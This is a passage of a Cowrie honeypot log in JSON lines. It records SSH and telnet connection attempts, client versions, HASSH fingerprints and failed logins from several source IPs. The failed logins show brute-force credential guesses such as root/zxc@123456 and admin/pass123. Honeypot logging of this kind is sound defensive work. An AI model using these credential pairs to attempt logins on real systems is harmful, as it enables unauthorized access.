aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:12:31.552028Z","src_ip":"159.203.92.129","session":"9de618a67172","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ad1tz","password":"123456","message":"login attempt [ad1tz/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:12:31.774254Z","src_ip":"159.203.92.129","session":"9de618a67172","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:12:32.783676Z","src_ip":"159.203.92.129","session":"9de618a67172","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.247.23.131","src_port":34973,"dst_ip":"159.203.135.109","dst_port":22,"session":"a39f86d347c6","protocol":"ssh","message":"New connection: 117.247.23.131:34973 (159.203.135.109:22) [session: a39f86d347c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:12:32.865274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:12:32.870043Z","src_ip":"117.247.23.131","session":"a39f86d347c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:12:33.414560Z","src_ip":"117.247.23.131","session":"a39f86d347c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxc@123456","message":"login attempt [root/zxc@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:12:36.505677Z","src_ip":"117.247.23.131","session":"a39f86d347c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.141.133","src_port":23607,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb8882e3d4ef","protocol":"ssh","message":"New connection: 20.193.141.133:23607 (10.17.0.5:22) [session: cb8882e3d4ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:12:37.701406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:12:37.709084Z","src_ip":"20.193.141.133","session":"cb8882e3d4ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:12:37.899230Z","src_ip":"20.193.141.133","session":"cb8882e3d4ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pass123","message":"login attempt [admin/pass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:12:38.691326Z","src_ip":"20.193.141.133","session":"cb8882e3d4ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:12:39.398950Z","src_ip":"117.247.23.131","session":"a39f86d347c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:12:39.882555Z","src_ip":"20.193.141.133","session":"cb8882e3d4ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40520,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7523780d599","protocol":"ssh","message":"New connection: 159.203.92.129:40520 (159.203.135.109:22) [session: b7523780d599]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:13:17.598784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:13:17.603782Z","src_ip":"159.203.92.129","session":"b7523780d599","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:13:17.609030Z","src_ip":"159.203.92.129","session":"b7523780d599","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ad1tz","password":"Geanina123456@","message":"login attempt [ad1tz/Geanina123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:13:17.627285Z","src_ip":"159.203.92.129","session":"b7523780d599","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:13:18.635928Z","src_ip":"159.203.92.129","session":"b7523780d599","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.135.170.60","src_port":51438,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9de7864c0c4","protocol":"telnet","message":"New connection: 102.135.170.60:51438 (10.17.0.5:23) [session: a9de7864c0c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:13:23.343159Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.135.170.60","src_port":51756,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d4fb1d7b936","protocol":"telnet","message":"New connection: 102.135.170.60:51756 (10.17.0.5:23) [session: 5d4fb1d7b936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:13:24.060919Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.135.170.60","src_port":52050,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb7b4287724d","protocol":"telnet","message":"New connection: 102.135.170.60:52050 (10.17.0.5:23) [session: bb7b4287724d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:13:25.325269Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.135.170.60","src_port":52862,"dst_ip":"10.17.0.5","dst_port":23,"session":"d55f21228cb2","protocol":"telnet","message":"New connection: 102.135.170.60:52862 (10.17.0.5:23) [session: d55f21228cb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:13:28.286034Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":39838,"dst_ip":"10.17.0.5","dst_port":22,"session":"e70364a8dd1c","protocol":"ssh","message":"New connection: 194.59.206.2:39838 (10.17.0.5:22) [session: e70364a8dd1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:13:34.526339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:13:34.530673Z","src_ip":"194.59.206.2","session":"e70364a8dd1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:13:34.620794Z","src_ip":"194.59.206.2","session":"e70364a8dd1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:13:34.715531Z","src_ip":"194.59.206.2","session":"e70364a8dd1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.141.133","src_port":8390,"dst_ip":"10.17.0.5","dst_port":22,"session":"c36392323788","protocol":"ssh","message":"New connection: 20.193.141.133:8390 (10.17.0.5:22) [session: c36392323788]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:13:41.449488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:13:41.453575Z","src_ip":"20.193.141.133","session":"c36392323788","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:13:41.654616Z","src_ip":"20.193.141.133","session":"c36392323788","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"ubuntu","message":"login attempt [postgres/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:13:42.492895Z","src_ip":"20.193.141.133","session":"c36392323788","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":37934,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a35de50bd6b","protocol":"telnet","message":"New connection: 160.250.202.248:37934 (159.203.135.109:23) [session: 6a35de50bd6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:13:42.977775Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:13:43.695865Z","src_ip":"20.193.141.133","session":"c36392323788","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":45128,"dst_ip":"159.203.135.109","dst_port":23,"session":"1664a8e9fae7","protocol":"telnet","message":"New connection: 160.250.202.248:45128 (159.203.135.109:23) [session: 1664a8e9fae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:13:45.980103Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":60068,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9547c8fe0e2","protocol":"telnet","message":"New connection: 160.250.202.248:60068 (159.203.135.109:23) [session: d9547c8fe0e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:13:51.963695Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":40792,"dst_ip":"159.203.135.109","dst_port":23,"session":"02f0a34ae040","protocol":"telnet","message":"New connection: 160.250.202.248:40792 (159.203.135.109:23) [session: 02f0a34ae040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:13:55.978701Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36530,"dst_ip":"159.203.135.109","dst_port":22,"session":"8fa4c864e643","protocol":"ssh","message":"New connection: 159.203.92.129:36530 (159.203.135.109:22) [session: 8fa4c864e643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:02.535702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:02.587167Z","src_ip":"159.203.92.129","session":"8fa4c864e643","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:02.591038Z","src_ip":"159.203.92.129","session":"8fa4c864e643","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ad1tz","password":"ad1tzminer123!","message":"login attempt [ad1tz/ad1tzminer123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:02.702049Z","src_ip":"159.203.92.129","session":"8fa4c864e643","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":57426,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d74e3797442","protocol":"telnet","message":"New connection: 160.250.202.248:57426 (159.203.135.109:23) [session: 4d74e3797442]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:02.994459Z"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:03.712386Z","src_ip":"159.203.92.129","session":"8fa4c864e643","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":38146,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5de032a4e2e","protocol":"telnet","message":"New connection: 160.250.202.248:38146 (159.203.135.109:23) [session: f5de032a4e2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:06.964825Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.247.23.131","src_port":47372,"dst_ip":"159.203.135.109","dst_port":22,"session":"529e6ede1d56","protocol":"ssh","message":"New connection: 117.247.23.131:47372 (159.203.135.109:22) [session: 529e6ede1d56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:10.939301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:14:10.943690Z","src_ip":"117.247.23.131","session":"529e6ede1d56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openss